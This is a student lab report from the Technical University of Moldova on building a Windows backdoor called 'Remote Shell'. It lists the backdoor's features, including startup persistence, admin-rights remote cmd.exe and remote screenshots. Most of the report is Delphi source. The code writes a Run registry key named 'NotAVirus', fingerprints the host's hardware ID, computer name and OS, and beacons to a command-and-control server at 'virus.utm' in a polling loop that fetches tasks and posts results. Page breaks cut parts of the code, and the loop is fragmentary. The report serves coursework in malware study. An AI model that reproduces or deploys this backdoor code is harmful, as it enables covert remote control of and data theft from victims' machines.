AL REPUBLICII MOLDOVA
Universitatea Tehnică a Moldovei
Facultatea Calculatoare, Informatică și Microelectronică
Departamentul Ingineria Software și Automatică
Raport
pentru lucrarea de laborator Nr.2
Chișinău – 2020
1
Tema: Scrierea unui program malițios în limbaj de
programare, C, C++, Asembly, etc.
Malware de tip Backdoor / Shell
Limbaj de programare Main Core: Delphi
Limbaj de programare Control Panel: PHP 7
Sistem de operare: Windows
2
Fig. 2. Remote Shell (NotAVirus.exe) pornit automat după pornire sistemului
3
Fig. 4. Verificarea listei de sarcini
4
Fig. 7. Încărcarea sarcinii
Funcționalitatea
Pornire împreună cu Sistem de Operare (Startup)
Pornire Remote Shell cu drepturile de administrator
Executarea comenzilor făcute din Control Panel
Remote Screenshot
Remote cmd.exe (cu drepturile de administrator)
5
Fig. 9. Rezultatul comenzii
{$APPTYPE GUI}
{$R *.res}
uses
System.SysUtils,
httpsend,
System.Classes,
Registry,
Windows,
System.Hash,
SynaCode,
Vcl.Graphics,
System.NetEncoding,
6
Vcl.Imaging.Jpeg,
ssl_openssl;
const
API = 'http://virus.utm'; //API hostname
var
http: THTTPSend;
resp: TStringList;
data: TStringStream;
hwid, pc_name, system, task_id, task, cmd: string;
screen: TBitMap;
procedure Startup();
var
Reg: TRegistry;
begin
Reg:= TRegistry.Create;
Reg.RootKey:= HKEY_LOCAL_MACHINE;
Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', false);
Reg.WriteString('NotAVirus', ParamStr(0));
Reg.CloseKey;
Reg.Free;
end;
7
if b > 0 then Result := Copy(ForS, 1, b - 1);
end;
8
WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
finally
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
end;
finally
CloseHandle(StdOutPipeRead);
end;
end;
9
base64.Free;
end;
end;
begin
Startup();
http:= THTTPSend.Create;
resp:= TStringList.Create;
data:= TStringStream.Create;
screen:= TBitMap.Create;
hwid:= THashSHA1.GetHashString(GetHardID());
pc_name:= GetRegistryValue('\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName',
'ComputerName');
system:= GetRegistryValue('\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
if http.HTTPMethod('GET', API + '/api.php?method=install&hwid=' + hwid + '&pc_name=' +
EncodeUrl(pc_name) + '&system=' + EncodeUrl(system)) then
begin
while (true) do
begin
Sleep(2000);
http.Clear;
data.Clear;
resp.Clear;
http.Clear;
data.Clear;
data.WriteString(resp.Text);
http.Document.LoadFromStream(data);
http.MimeType:='application/x-www-form-urlencoded';
http.HTTPMethod('POST', API + '/api.php?method=sendTask&task_id=' + task_id);
end;
end;
end;
end;
end.
10
Funcționalitatea virusului poate fi vizualizata pe YouTube
https://www.youtube.com/watch?v=5r89LcqY6q8
Concluzii
Pe parcursul lucrării de laborator a fost creat un program malițios de tip Backdoor /
Shell. Program a fost numit Remote Shell si are un sir mare de posibilități: pornire
fișierelor, screenshot ecranului si etc. Acest program utilizează Control Panel
pentru a primi sarcini.
11